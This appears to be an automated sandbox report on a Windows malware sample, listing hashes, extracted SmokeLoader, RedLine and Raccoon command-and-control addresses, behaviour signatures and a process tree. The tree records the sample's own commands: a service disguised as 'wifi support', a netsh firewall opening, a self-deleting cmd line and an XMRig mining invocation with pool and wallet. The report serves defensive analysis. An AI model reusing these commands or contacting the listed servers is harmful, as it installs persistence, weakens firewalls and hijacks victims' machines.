Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    27-09-2021 00:50

General

  • Target

    e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a.exe

  • Size

    136KB

  • MD5

    39bad05eb49062c256b8f7e215e6eb86

  • SHA1

    32c01c2fdb17d53a67cf6ccf2e26feb0716cc449

  • SHA256

    e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a

  • SHA512

    ad812922770f7638cb37ee8e09f3dbbddf13bce77ea4a094955520e274debf402c662845b43797aa01aa82715ed528b2f76960637e5c8ceacf4b1c4866ac22fc

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

Denis

C2

45.147.197.123:31820

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Chinese Botnet Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a.exe
    "C:\Users\Admin\AppData\Local\Temp\e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Users\Admin\AppData\Local\Temp\e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a.exe
      "C:\Users\Admin\AppData\Local\Temp\e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2264
  • C:\Users\Admin\AppData\Local\Temp\F16B.exe
    C:\Users\Admin\AppData\Local\Temp\F16B.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:2624
  • C:\Users\Admin\AppData\Local\Temp\F709.exe
    C:\Users\Admin\AppData\Local\Temp\F709.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:3692
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3692 -s 1324
      2⤵
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:824
  • C:\Users\Admin\AppData\Local\Temp\FAD3.exe
    C:\Users\Admin\AppData\Local\Temp\FAD3.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
      "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
      2⤵
      • Executes dropped EXE
      PID:3144
    • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
      "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
      2⤵
      • Executes dropped EXE
      PID:3988
    • C:\Users\Admin\AppData\Local\Temp\fbf.exe
      "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Enumerates connected drives
      • Checks processor information in registry
      • Suspicious use of SetWindowsHookEx
      PID:3076
  • C:\Users\Admin\AppData\Local\Temp\EE.exe
    C:\Users\Admin\AppData\Local\Temp\EE.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lcexfmej\
      2⤵
        PID:2480
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wiuccnck.exe" C:\Windows\SysWOW64\lcexfmej\
        2⤵
          PID:1964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lcexfmej binPath= "C:\Windows\SysWOW64\lcexfmej\wiuccnck.exe /d\"C:\Users\Admin\AppData\Local\Temp\EE.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3952
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description lcexfmej "wifi internet conection"
            2⤵
              PID:2192
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start lcexfmej
              2⤵
                PID:916
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2784
              • C:\Users\Admin\AppData\Local\Temp\5F1.exe
                C:\Users\Admin\AppData\Local\Temp\5F1.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3716
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\5F1.exe"
                  2⤵
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:2032
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /T 10 /NOBREAK
                    3⤵
                    • Delays execution with timeout.exe
                    PID:1652
              • C:\Users\Admin\AppData\Local\Temp\95D.exe
                C:\Users\Admin\AppData\Local\Temp\95D.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1548
              • C:\Users\Admin\AppData\Local\Temp\FC6.exe
                C:\Users\Admin\AppData\Local\Temp\FC6.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1688
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute facebook.com
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1412
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitter.com
                  2⤵
                    PID:4348
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute google.com
                    2⤵
                      PID:5020
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute bing.com
                      2⤵
                        PID:4188
                    • C:\Windows\SysWOW64\lcexfmej\wiuccnck.exe
                      C:\Windows\SysWOW64\lcexfmej\wiuccnck.exe /d"C:\Users\Admin\AppData\Local\Temp\EE.exe"
                      1⤵
                      • Executes dropped EXE
                      PID:2032
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:2664
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                            PID:1964

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/400-161-0x0000000000400000-0x00000000004AD000-memory.dmp

                        Filesize

                        692KB

                      • memory/400-160-0x0000000000510000-0x0000000000523000-memory.dmp

                        Filesize

                        76KB

                      • memory/1412-399-0x000002C2BBAF0000-0x000002C2BBAF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1412-601-0x000002C2BBB30000-0x000002C2BBB31000-memory.dmp

                        Filesize

                        4KB

                      • memory/1412-198-0x000002C2B99E6000-0x000002C2B99E8000-memory.dmp

                        Filesize

                        8KB

                      • memory/1412-189-0x000002C2B99E0000-0x000002C2B99E2000-memory.dmp

                        Filesize

                        8KB

                      • memory/1412-191-0x000002C2B99E3000-0x000002C2B99E5000-memory.dmp

                        Filesize

                        8KB

                      • memory/1412-186-0x000002C2BBB70000-0x000002C2BBB71000-memory.dmp

                        Filesize

                        4KB

                      • memory/1412-181-0x000002C2BB9C0000-0x000002C2BB9C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1412-581-0x000002C2BBB30000-0x000002C2BBB31000-memory.dmp

                        Filesize

                        4KB

                      • memory/1412-741-0x000002C2B99E8000-0x000002C2B99EA000-memory.dmp

                        Filesize

                        8KB

                      • memory/1412-625-0x000002C2BBB10000-0x000002C2BBB11000-memory.dmp

                        Filesize

                        4KB

                      • memory/1548-162-0x0000000005130000-0x0000000005736000-memory.dmp

                        Filesize

                        6.0MB

                      • memory/1548-153-0x0000000000870000-0x0000000000871000-memory.dmp

                        Filesize

                        4KB

                      • memory/1688-172-0x000000001C190000-0x000000001C192000-memory.dmp

                        Filesize

                        8KB

                      • memory/1688-167-0x00000000004A0000-0x00000000004A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2032-328-0x0000000000400000-0x00000000004AD000-memory.dmp

                        Filesize

                        692KB

                      • memory/2168-115-0x0000000000690000-0x0000000000699000-memory.dmp

                        Filesize

                        36KB

                      • memory/2264-116-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/2624-236-0x0000000008370000-0x0000000008371000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-122-0x0000000000330000-0x0000000000331000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-229-0x0000000007590000-0x0000000007591000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-246-0x0000000007650000-0x0000000007651000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-131-0x0000000005BF0000-0x0000000005BF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-199-0x00000000071B0000-0x00000000071B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-195-0x0000000007940000-0x0000000007941000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-193-0x0000000007240000-0x0000000007241000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-284-0x0000000008000000-0x0000000008001000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-132-0x0000000005C30000-0x0000000005C31000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-233-0x00000000076B0000-0x00000000076B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-134-0x0000000005B50000-0x0000000005B51000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-127-0x0000000005CC0000-0x0000000005CC1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-124-0x0000000006170000-0x0000000006171000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-125-0x0000000005B90000-0x0000000005B91000-memory.dmp

                        Filesize

                        4KB

                      • memory/2624-126-0x0000000077A30000-0x0000000077BBE000-memory.dmp

                        Filesize

                        1.6MB

                      • memory/2664-280-0x0000000003070000-0x0000000003085000-memory.dmp

                        Filesize

                        84KB

                      • memory/3068-118-0x0000000000CC0000-0x0000000000CD6000-memory.dmp

                        Filesize

                        88KB

                      • memory/3076-739-0x0000000010000000-0x0000000010018000-memory.dmp

                        Filesize

                        96KB

                      • memory/3076-731-0x0000000000400000-0x00000000004C4000-memory.dmp

                        Filesize

                        784KB

                      • memory/3076-729-0x0000000002050000-0x000000000210C000-memory.dmp

                        Filesize

                        752KB

                      • memory/3144-730-0x0000000004C40000-0x0000000004C41000-memory.dmp

                        Filesize

                        4KB

                      • memory/3144-707-0x0000000002340000-0x000000000235F000-memory.dmp

                        Filesize

                        124KB

                      • memory/3144-711-0x0000000002490000-0x00000000024AE000-memory.dmp

                        Filesize

                        120KB

                      • memory/3144-724-0x0000000000560000-0x000000000060E000-memory.dmp

                        Filesize

                        696KB

                      • memory/3144-738-0x0000000004C44000-0x0000000004C46000-memory.dmp

                        Filesize

                        8KB

                      • memory/3144-725-0x0000000000400000-0x00000000004C5000-memory.dmp

                        Filesize

                        788KB

                      • memory/3144-733-0x0000000004C42000-0x0000000004C43000-memory.dmp

                        Filesize

                        4KB

                      • memory/3144-735-0x0000000004C43000-0x0000000004C44000-memory.dmp

                        Filesize

                        4KB

                      • memory/3164-140-0x0000000000C80000-0x0000000000C81000-memory.dmp

                        Filesize

                        4KB

                      • memory/3692-136-0x0000000000400000-0x000000000044D000-memory.dmp

                        Filesize

                        308KB

                      • memory/3692-135-0x00000000021D0000-0x00000000021FD000-memory.dmp

                        Filesize

                        180KB

                      • memory/3716-174-0x0000000000400000-0x00000000004F0000-memory.dmp

                        Filesize

                        960KB

                      • memory/3716-173-0x0000000001FD0000-0x0000000002060000-memory.dmp

                        Filesize

                        576KB

                      • memory/3988-712-0x00000000023A0000-0x00000000023C2000-memory.dmp

                        Filesize

                        136KB

                      • memory/3988-734-0x0000000004D02000-0x0000000004D03000-memory.dmp

                        Filesize

                        4KB

                      • memory/3988-723-0x00000000053F0000-0x00000000053F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/3988-727-0x00000000004D0000-0x000000000061A000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/3988-708-0x00000000021E0000-0x0000000002203000-memory.dmp

                        Filesize

                        140KB

                      • memory/3988-732-0x0000000004D00000-0x0000000004D01000-memory.dmp

                        Filesize

                        4KB

                      • memory/3988-736-0x0000000004D03000-0x0000000004D04000-memory.dmp

                        Filesize

                        4KB

                      • memory/3988-728-0x0000000000400000-0x00000000004CB000-memory.dmp

                        Filesize

                        812KB

                      • memory/3988-737-0x0000000004D04000-0x0000000004D06000-memory.dmp

                        Filesize

                        8KB

                      • memory/4188-1910-0x0000019C60436000-0x0000019C60438000-memory.dmp

                        Filesize

                        8KB

                      • memory/4188-1871-0x0000019C60433000-0x0000019C60435000-memory.dmp

                        Filesize

                        8KB

                      • memory/4188-1869-0x0000019C60430000-0x0000019C60432000-memory.dmp

                        Filesize

                        8KB

                      • memory/4188-2355-0x0000019C60438000-0x0000019C6043A000-memory.dmp

                        Filesize

                        8KB

                      • memory/4348-802-0x00000243488B0000-0x00000243488B2000-memory.dmp

                        Filesize

                        8KB

                      • memory/4348-1294-0x00000243488B8000-0x00000243488BA000-memory.dmp

                        Filesize

                        8KB

                      • memory/4348-822-0x00000243488B6000-0x00000243488B8000-memory.dmp

                        Filesize

                        8KB

                      • memory/4348-803-0x00000243488B3000-0x00000243488B5000-memory.dmp

                        Filesize

                        8KB

                      • memory/5020-1344-0x000001C0FD2A3000-0x000001C0FD2A5000-memory.dmp

                        Filesize

                        8KB

                      • memory/5020-1346-0x000001C0FD2A6000-0x000001C0FD2A8000-memory.dmp

                        Filesize

                        8KB

                      • memory/5020-1824-0x000001C0FD2A8000-0x000001C0FD2AA000-memory.dmp

                        Filesize

                        8KB

                      • memory/5020-1343-0x000001C0FD2A0000-0x000001C0FD2A2000-memory.dmp

                        Filesize

                        8KB